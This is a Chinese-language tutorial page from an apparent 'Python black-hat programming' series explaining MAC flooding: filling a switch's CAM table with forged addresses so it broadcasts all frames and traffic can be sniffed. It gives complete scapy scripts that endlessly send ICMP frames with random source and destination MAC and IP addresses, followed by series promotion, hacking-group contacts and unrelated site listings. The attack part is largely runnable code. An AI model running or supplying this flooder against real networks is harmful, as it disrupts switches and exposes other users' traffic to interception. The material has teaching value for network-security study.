Python灰帽编程 3.3 MAC洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。

基于以上原理,我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub。

交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对ARP洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的MAC和IP地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是scapy模块中的RandMAC和RandIP方法。这两个方法用来随机产生MAC地址和IP地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandMAC()

print RandIP()

i=i-1

运行结果如下图:

图2

如果需要产生固定网段的IP,可以输入指定的模板。

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandIP("192.168.1.*")

i=i-1

运行结果如下:

图3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源IP和MAC,那么交换机就会进行记录。

例如ARP包:

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))

例如ICMP包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

两个核心问题解决了,可以写完整的代码了:

图4

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送ICMP数据包,来实现MAC洪水攻击。运行结果如下:

图5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节,我们一起探讨下针对VLAN的攻击。

3.3节《VLAN攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking (1群):303242737   Hacking (2群):147098303。

玄魂工作室-精彩不断

Python黑帽编程 3.3 MAC洪水攻击的更多相关文章

  1. Python黑帽编程 4.0 网络互连层攻击概述

    Python黑帽编程 4.0 网络互连层攻击概述 是时候重新温习下下面这张图了. 图2 本章的内容核心包含上图中的网络层和传输层.TCP/IP是整个网络协议体系中的核心,因为从这里开始,数据传输从局域 ...

  2. Python 黑帽编程大纲(变化中)

    Python 黑帽编程大纲(预览版) 教程说明: 本系列教程,采用的大纲母本为<Understanding Network Hacks Attack and Defense with Pytho ...

  3. Python黑帽编程 3.2 ARP监控

    Python黑帽编程 3.2 ARP监控 在第3.1节<ARP欺骗>中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具.在上一节的基础上,我们来实现一个ARP监 ...

  4. Python黑帽编程 3.4 跨越VLAN

    Python黑帽编程 3.4 跨域VLAN VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理 ...

  5. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  6. Python黑帽编程1.3 Python运行时与包管理工具

    Python黑帽编程1.3  Python运行时与包管理工具 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Attack and ...

  7. PYTHON黑帽编程1.5 使用WIRESHARK练习网络协议分析

    Python黑帽编程1.5  使用Wireshark练习网络协议分析 1.5.0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks At ...

  8. Python黑帽编程2.8 套接字编程

    Python黑帽编程2.8 套接字编程 套接字编程在本系列教程中地位并不是很突出,但是我们观察网络应用,绝大多数都是基于Socket来做的,哪怕是绝大多数的木马程序也是如此.官方关于socket编程的 ...

  9. Python黑帽编程3.0 第三章 网络接口层攻击基础知识

    3.0 第三章 网络接口层攻击基础知识 首先还是要提醒各位同学,在学习本章之前,请认真的学习TCP/IP体系结构的相关知识,本系列教程在这方面只会浅尝辄止. 本节简单概述下OSI七层模型和TCP/IP ...

随机推荐

  1. Oracle SqlDeveloper创建JOB

    步骤1: 步骤2: 步骤3:

  2. html学习第三天—— 第12章——css布局模型

    清楚了CSS 盒模型的基本概念. 盒模型类型, 我们就可以深入探讨网页布局的基本模型了.布局模型与盒模型一样都是 CSS 最基本. 最核心的概念. 但布局模型是建立在盒模型基础之上,又不同于我们常说的 ...

  3. poj分类 很好很有层次感。

    初期: 一.基本算法:      (1)枚举. (poj1753,poj2965)      (2)贪心(poj1328,poj2109,poj2586)      (3)递归和分治法.      ( ...

  4. PDA固定资产条码管理系统软件-解决固定资产实物清查的瓶颈问题,大大提高清查效率

    固定资产管理系统是企业信息化管理中的一个重要组成部分,固定资产具有价值高,使用周期长.使用地点分散.管理难度大等特点.一个企业的良性发展,避免不了的要涉及到企业资产的有效管理.对于那些技术装备密集型的 ...

  5. git: 常用功能等

    1. an very useful simple git guide link: http://rogerdudler.github.io/git-guide/index.zh.html

  6. XVII Open Cup named after E.V. Pankratiev. GP of SPb

    A. Array Factory 将下标按前缀和排序,然后双指针,维护最大的右边界即可. #include<cstdio> #include<algorithm> using ...

  7. 树形DP

    切题ing!!!!! HDU  2196 Anniversary party 经典树形DP,以前写的太搓了,终于学会简单写法了.... #include <iostream> #inclu ...

  8. 分布式数据库的四分结构设计 BCDE

    首先,对关系型数据库的表进行四种分类定义: Basis 根基,Content 内容, Description 说明, Extension 扩展. Basis:Baisis 表是唯一的,为了实现标准而得 ...

  9. 【转贴】Python处理海量数据的实战研究

    最近看了July的一些关于Java处理海量数据的问题研究,深有感触,链接:http://blog.csdn.net/v_july_v/article/details/6685962 感谢July ^_ ...

  10. C# EXCEL导入 混合列文字为空,找不到可安装的 ISAM的解决办法

    C# EXCEL导入 混合列文字为空,找不到可安装的 ISAM的解决办法 使用C#导入 Excel数据到 DataTable,如果连接串中只写 Excel 8.0,则正常的字符列,数值列都没有问题,但 ...